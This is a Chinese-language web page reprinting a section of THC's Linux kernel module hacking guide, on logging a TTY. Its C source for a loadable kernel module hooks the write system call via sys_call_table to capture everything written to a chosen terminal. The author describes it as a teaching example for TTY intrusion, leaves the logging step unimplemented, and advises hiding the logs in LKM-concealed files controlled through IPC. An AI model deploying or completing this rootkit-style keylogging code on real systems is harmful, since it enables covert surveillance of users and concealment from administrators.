china.com
主页
新闻
体育
游戏
文化
教育
健康
财经
科技
旅游
军事
娱乐
商贸
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  


第二部分 渐入佳境


2.7 TTY纪录的方法


纪录TTY是十分有趣的而且从很久以前就开始使用了,我们可以获得我们通过主值或者附值指定的TTY的每一个输入,在Phrack 50 halflife公布了一种十分好的LKM来做这个。

下面的代码是从他的LKM中摘抄的.他可以给每一个初学者演示TTY入侵的基本知识,尽管这并不是一个完整的实现.你不能直接使用他.因为我没有实现一个纪录用户TTY输入的的方法.这不过是给那些想懂得基础知识的人的.

好了,让我们继续:

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#include <asm/io.h>

#include <sys/sysmacros.h>

int errno;

/*我们想纪录的TTY*/

int tty_minor = 2;

int tty_major = 4;

extern void* sys_call_table[];

/*我们需要write系统调用*/

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

void *original_write;

/*检查是否是我们需要的TTY*/

int is_fd_tty(int fd)

{

struct file *f=NULL;

struct inode *inode=NULL;

int mymajor=0;

int myminor=0;

if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))

return 0;

mymajor = major(inode->i_rdev);

myminor = minor(inode->i_rdev);

if(mymajor != tty_major) return 0;

if(myminor != tty_minor) return 0;

return 1;

}

/*这是新的write(2)系统调用*/

extern int new_write(int fd, char *buf, size_t count)

{

int r;

char *kernel_buf;

if(is_fd_tty(fd))

{

kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);

memcpy_fromfs(kernel_buf, buf, count);

/*在这里你可以将输出缓存输出到任何你想要的地方,他表示着每一个被你选定的TTY设备的输入.我没有实现这个例行的过程,因为在附录A你会发现一个完整的很好的由halflife实现的TTY入侵工具*/

kfree(kernel_buf);

}

sys_call_table[SYS_write] = original_write;

r = write(fd, buf, count);

sys_call_table[SYS_write] = new_write;

if(r == -1) return -errno;

else return r;

}

int init_module(void)        

{

/*你必须已经理解这个了*/

original_write = sys_call_table[SYS_write];

sys_call_table[SYS_write] = new_write;

return 0;

}

void cleanup_module(void)

{

/*不再记录了*/

sys_call_table[SYS_write] = original_write;

}

注释会使得这些代码很容易被读懂.总体上的思路是截获sys_write(见2.4.2)并且过滤我在2.4.2中提到的fd.在检查了fd的TTY是否是我们想跟踪的以后,我们就可以获得写入的数据并且将这些数据写入我们的纪录文件中(在上面的代码中没有实现).有好几种方法可以存储这些数据.halflife使用一个缓冲区(可以从我们自己的设备中获得),这是一个好主意(他也可以控制他的程序,通过ioctl命令来控制它的设备).

我个人推荐将这些数据存储在(被LKM)隐藏的文件中.并且用某种IPC来控制他.使用能够在你控制的系统中使用的方法.

 

  摘自《赛迪网》 pragmatic/THC,(版本1.0)/文

 


科技检索


中华网推荐

  • 1000名医生在线咨询

  • 中国足球队官方网站

  • 鸦片玫瑰(新版)

  • 精选股票天地

  • 闪光的flash教程

  • 中华网汽车世界

  • 为你的爱情出谋划策

  • 网文精选——野百合集

  • 世界文化遗产在中国

  • 历届香港小姐风姿集




  • 网络教室编辑信箱
    版权声明 | 本站检索 | 联系方法 | 刊登广告 | 使用说明 | 关于中华网 | 豁免条款

    版权所有 中华网